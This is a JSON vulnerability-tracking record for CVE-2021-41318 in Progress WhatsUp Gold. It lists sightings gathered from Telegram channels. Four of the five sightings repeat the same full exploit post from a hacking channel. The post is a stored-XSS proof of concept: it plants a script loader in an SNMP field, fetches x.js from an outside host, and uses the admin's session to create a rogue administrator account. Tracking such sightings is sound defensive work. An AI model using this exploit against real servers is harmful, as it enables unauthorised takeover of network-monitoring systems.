{"vulnerability": "cve-2021-41318", "sightings": [{"uuid": "bd290b34-7028-483b-b241-ec8bfbbacaf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41318", "type": "seen", "source": "https://t.me/cibsecurity/29594", "content": "\u203c CVE-2021-41318 \u203c\n\nIn Progress WhatsUp Gold prior to version 21.1.0, an application endpoint failed to adequately sanitize malicious input. which could allow an unauthenticated attacker to execute arbitrary code in a victim's browser.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-28T22:36:06.000000Z"}, {"uuid": "306dfd7c-6fc2-46b6-b599-acdb5a1bdfb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41318", "type": "seen", "source": "https://t.me/hacking_Attack/25812", "content": "Exploit Collector\nWhatsUpGold 21.0.3 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \nWhatsUpGold version 21.0.3 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 5678525158a3a9be5d1cc6c0849af63e\n\nDownload\n# Exploit Title: WhatsUpGold 21.0.3 - Stored Cross-Site Scripting (XSS)\n# Date: 09.17.2021\n# Exploit Author: Andreas Finstad (4ndr34z)\n# Vendor Homepage: https://www.whatsupgold.com\n# Version: v.21.0.3, Build 188\n# Tested on: Windows 2019 Server\n# CVE : CVE-2021-41318\n# Reference: https://f20.be/cves/poc-cve-2021-41318\n\nDescription:\nImproper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks.\nPlacing a XSS payload in one of the fields reflected onto the application, triggers the exploitation.\nNo CSRF protection/token on adding/posting a new user account, makes it possible to create a rouge administrator, using a staged javascript delivered through the XSS.\n\nSNMP A nix computer placed on a subnet accessible from the server for discovery, you edit the SNMPd.conf, adding the payload:\n\n# snmpd.conf\n# An example configuration file for configuring the Net-SNMP agent ('snmpd')\n# See snmpd.conf(5) man page for details\n############################################################################\n# SECTION: System Information Setup\n# syslocation: The [typically physical] location of the system.\n# Note that setting this value here means that when trying to\n# perform an snmp SET operation to the sysLocation.0 variable will make\n# the agent return the \"notWritable\" error code.  IE, including\n# this token in the snmpd.conf file will disable write access to\n# the variable.\n# arguments:  location_string\nsysName Evil-Device\nsysLocation    Somewhere Over The Rainbow\nsysContact x \n\nThis is the base64 encoded string:\nvar a=document.createElement(\"script\");a.src=\"http://192.168.66.46/x.js\";document.body.appendChild(a);\n\nx.js:\nvar vhost = window.location.protocol+'\\/\\/'+window.location.host\nvar username = \"sysadmin\"\nvar password = \"me\"\n\nfetch(vhost+'/NmConsole/api/core/WebUser',{\nmethod: 'POST',\nheaders: {\n'Content-Length': '479',\n'Accept': 'application/json',\n'X-Requested-With': 'XMLHttpRequest',\n'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51',\n'Content-Type': 'application/json',\n'Origin': vhost,\n'Referer': vhost+'/NmConsole/',\n'Accept-Encoding': 'gzip, deflate',\n'Accept-Language': 'nb,no;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,sv;q=0.5,fr;q=0.4',\n'Connection': 'close'\n},\ncredentials: 'include',\nbody: '{\"HomeDeviceGroupID\":0,\"HomeDeviceGroupPath\":\"My Network\",\"LanguageID\":1033,\"UserRightsMask\":\"0\",\"IsDgarConfigured\":false,\"Groups\"   [1],\"WebUserID\":-1,\"UserName\":\"'+username+'\",\"AuthenticationType\":1,\"ApplyWebUiSessionTimeout\":true,\"ApplyLockoutPolicy\":false,\"ApplyPasswordAging\":false,\"ApplyPasswordComplexity\":false,\"ApplySessionPolicy\":false,\"FailedLoginCount\":0,\"IsLocked\":false,\"Password\":\"'+password+'\",\"UnlockUser\":false,\"WebConfigurationSettings\":\"\",\"id\":\"Wug.model.userManagement.WebUser-2\"}'\n});\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:19.157549Z"}, {"uuid": "8e356731-72e3-4eef-8215-410e6b552608", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41318", "type": "seen", "source": "https://t.me/hacking_Attack/25812", "content": "Exploit Collector\nWhatsUpGold 21.0.3 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \nWhatsUpGold version 21.0.3 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 5678525158a3a9be5d1cc6c0849af63e\n\nDownload\n# Exploit Title: WhatsUpGold 21.0.3 - Stored Cross-Site Scripting (XSS)\n# Date: 09.17.2021\n# Exploit Author: Andreas Finstad (4ndr34z)\n# Vendor Homepage: https://www.whatsupgold.com\n# Version: v.21.0.3, Build 188\n# Tested on: Windows 2019 Server\n# CVE : CVE-2021-41318\n# Reference: https://f20.be/cves/poc-cve-2021-41318\n\nDescription:\nImproper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks.\nPlacing a XSS payload in one of the fields reflected onto the application, triggers the exploitation.\nNo CSRF protection/token on adding/posting a new user account, makes it possible to create a rouge administrator, using a staged javascript delivered through the XSS.\n\nSNMP A nix computer placed on a subnet accessible from the server for discovery, you edit the SNMPd.conf, adding the payload:\n\n# snmpd.conf\n# An example configuration file for configuring the Net-SNMP agent ('snmpd')\n# See snmpd.conf(5) man page for details\n############################################################################\n# SECTION: System Information Setup\n# syslocation: The [typically physical] location of the system.\n# Note that setting this value here means that when trying to\n# perform an snmp SET operation to the sysLocation.0 variable will make\n# the agent return the \"notWritable\" error code.  IE, including\n# this token in the snmpd.conf file will disable write access to\n# the variable.\n# arguments:  location_string\nsysName Evil-Device\nsysLocation    Somewhere Over The Rainbow\nsysContact x \n\nThis is the base64 encoded string:\nvar a=document.createElement(\"script\");a.src=\"http://192.168.66.46/x.js\";document.body.appendChild(a);\n\nx.js:\nvar vhost = window.location.protocol+'\\/\\/'+window.location.host\nvar username = \"sysadmin\"\nvar password = \"me\"\n\nfetch(vhost+'/NmConsole/api/core/WebUser',{\nmethod: 'POST',\nheaders: {\n'Content-Length': '479',\n'Accept': 'application/json',\n'X-Requested-With': 'XMLHttpRequest',\n'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51',\n'Content-Type': 'application/json',\n'Origin': vhost,\n'Referer': vhost+'/NmConsole/',\n'Accept-Encoding': 'gzip, deflate',\n'Accept-Language': 'nb,no;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,sv;q=0.5,fr;q=0.4',\n'Connection': 'close'\n},\ncredentials: 'include',\nbody: '{\"HomeDeviceGroupID\":0,\"HomeDeviceGroupPath\":\"My Network\",\"LanguageID\":1033,\"UserRightsMask\":\"0\",\"IsDgarConfigured\":false,\"Groups\"   [1],\"WebUserID\":-1,\"UserName\":\"'+username+'\",\"AuthenticationType\":1,\"ApplyWebUiSessionTimeout\":true,\"ApplyLockoutPolicy\":false,\"ApplyPasswordAging\":false,\"ApplyPasswordComplexity\":false,\"ApplySessionPolicy\":false,\"FailedLoginCount\":0,\"IsLocked\":false,\"Password\":\"'+password+'\",\"UnlockUser\":false,\"WebConfigurationSettings\":\"\",\"id\":\"Wug.model.userManagement.WebUser-2\"}'\n});\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:48.529712Z"}, {"uuid": "63b483ee-3553-4c9f-97d9-46f4f5ccbc91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41318", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/25812", "content": "Exploit Collector\nWhatsUpGold 21.0.3 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \nWhatsUpGold version 21.0.3 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 5678525158a3a9be5d1cc6c0849af63e\n\nDownload\n# Exploit Title: WhatsUpGold 21.0.3 - Stored Cross-Site Scripting (XSS)\n# Date: 09.17.2021\n# Exploit Author: Andreas Finstad (4ndr34z)\n# Vendor Homepage: https://www.whatsupgold.com\n# Version: v.21.0.3, Build 188\n# Tested on: Windows 2019 Server\n# CVE : CVE-2021-41318\n# Reference: https://f20.be/cves/poc-cve-2021-41318\n\nDescription:\nImproper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks.\nPlacing a XSS payload in one of the fields reflected onto the application, triggers the exploitation.\nNo CSRF protection/token on adding/posting a new user account, makes it possible to create a rouge administrator, using a staged javascript delivered through the XSS.\n\nSNMP A nix computer placed on a subnet accessible from the server for discovery, you edit the SNMPd.conf, adding the payload:\n\n# snmpd.conf\n# An example configuration file for configuring the Net-SNMP agent ('snmpd')\n# See snmpd.conf(5) man page for details\n############################################################################\n# SECTION: System Information Setup\n# syslocation: The [typically physical] location of the system.\n# Note that setting this value here means that when trying to\n# perform an snmp SET operation to the sysLocation.0 variable will make\n# the agent return the \"notWritable\" error code.  IE, including\n# this token in the snmpd.conf file will disable write access to\n# the variable.\n# arguments:  location_string\nsysName Evil-Device\nsysLocation    Somewhere Over The Rainbow\nsysContact x \n\nThis is the base64 encoded string:\nvar a=document.createElement(\"script\");a.src=\"http://192.168.66.46/x.js\";document.body.appendChild(a);\n\nx.js:\nvar vhost = window.location.protocol+'\\/\\/'+window.location.host\nvar username = \"sysadmin\"\nvar password = \"me\"\n\nfetch(vhost+'/NmConsole/api/core/WebUser',{\nmethod: 'POST',\nheaders: {\n'Content-Length': '479',\n'Accept': 'application/json',\n'X-Requested-With': 'XMLHttpRequest',\n'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51',\n'Content-Type': 'application/json',\n'Origin': vhost,\n'Referer': vhost+'/NmConsole/',\n'Accept-Encoding': 'gzip, deflate',\n'Accept-Language': 'nb,no;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,sv;q=0.5,fr;q=0.4',\n'Connection': 'close'\n},\ncredentials: 'include',\nbody: '{\"HomeDeviceGroupID\":0,\"HomeDeviceGroupPath\":\"My Network\",\"LanguageID\":1033,\"UserRightsMask\":\"0\",\"IsDgarConfigured\":false,\"Groups\"   [1],\"WebUserID\":-1,\"UserName\":\"'+username+'\",\"AuthenticationType\":1,\"ApplyWebUiSessionTimeout\":true,\"ApplyLockoutPolicy\":false,\"ApplyPasswordAging\":false,\"ApplyPasswordComplexity\":false,\"ApplySessionPolicy\":false,\"FailedLoginCount\":0,\"IsLocked\":false,\"Password\":\"'+password+'\",\"UnlockUser\":false,\"WebConfigurationSettings\":\"\",\"id\":\"Wug.model.userManagement.WebUser-2\"}'\n});\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T12:00:03.643667Z"}, {"uuid": "1dd86eaa-5387-4c57-b58c-ce22f2c17d2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41318", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/25812", "content": "Exploit Collector\nWhatsUpGold 21.0.3 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \nWhatsUpGold version 21.0.3 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 5678525158a3a9be5d1cc6c0849af63e\n\nDownload\n# Exploit Title: WhatsUpGold 21.0.3 - Stored Cross-Site Scripting (XSS)\n# Date: 09.17.2021\n# Exploit Author: Andreas Finstad (4ndr34z)\n# Vendor Homepage: https://www.whatsupgold.com\n# Version: v.21.0.3, Build 188\n# Tested on: Windows 2019 Server\n# CVE : CVE-2021-41318\n# Reference: https://f20.be/cves/poc-cve-2021-41318\n\nDescription:\nImproper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks.\nPlacing a XSS payload in one of the fields reflected onto the application, triggers the exploitation.\nNo CSRF protection/token on adding/posting a new user account, makes it possible to create a rouge administrator, using a staged javascript delivered through the XSS.\n\nSNMP A nix computer placed on a subnet accessible from the server for discovery, you edit the SNMPd.conf, adding the payload:\n\n# snmpd.conf\n# An example configuration file for configuring the Net-SNMP agent ('snmpd')\n# See snmpd.conf(5) man page for details\n############################################################################\n# SECTION: System Information Setup\n# syslocation: The [typically physical] location of the system.\n# Note that setting this value here means that when trying to\n# perform an snmp SET operation to the sysLocation.0 variable will make\n# the agent return the \"notWritable\" error code.  IE, including\n# this token in the snmpd.conf file will disable write access to\n# the variable.\n# arguments:  location_string\nsysName Evil-Device\nsysLocation    Somewhere Over The Rainbow\nsysContact x \n\nThis is the base64 encoded string:\nvar a=document.createElement(\"script\");a.src=\"http://192.168.66.46/x.js\";document.body.appendChild(a);\n\nx.js:\nvar vhost = window.location.protocol+'\\/\\/'+window.location.host\nvar username = \"sysadmin\"\nvar password = \"me\"\n\nfetch(vhost+'/NmConsole/api/core/WebUser',{\nmethod: 'POST',\nheaders: {\n'Content-Length': '479',\n'Accept': 'application/json',\n'X-Requested-With': 'XMLHttpRequest',\n'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51',\n'Content-Type': 'application/json',\n'Origin': vhost,\n'Referer': vhost+'/NmConsole/',\n'Accept-Encoding': 'gzip, deflate',\n'Accept-Language': 'nb,no;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,sv;q=0.5,fr;q=0.4',\n'Connection': 'close'\n},\ncredentials: 'include',\nbody: '{\"HomeDeviceGroupID\":0,\"HomeDeviceGroupPath\":\"My Network\",\"LanguageID\":1033,\"UserRightsMask\":\"0\",\"IsDgarConfigured\":false,\"Groups\"   [1],\"WebUserID\":-1,\"UserName\":\"'+username+'\",\"AuthenticationType\":1,\"ApplyWebUiSessionTimeout\":true,\"ApplyLockoutPolicy\":false,\"ApplyPasswordAging\":false,\"ApplyPasswordComplexity\":false,\"ApplySessionPolicy\":false,\"FailedLoginCount\":0,\"IsLocked\":false,\"Password\":\"'+password+'\",\"UnlockUser\":false,\"WebConfigurationSettings\":\"\",\"id\":\"Wug.model.userManagement.WebUser-2\"}'\n});\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:46.045857Z"}]}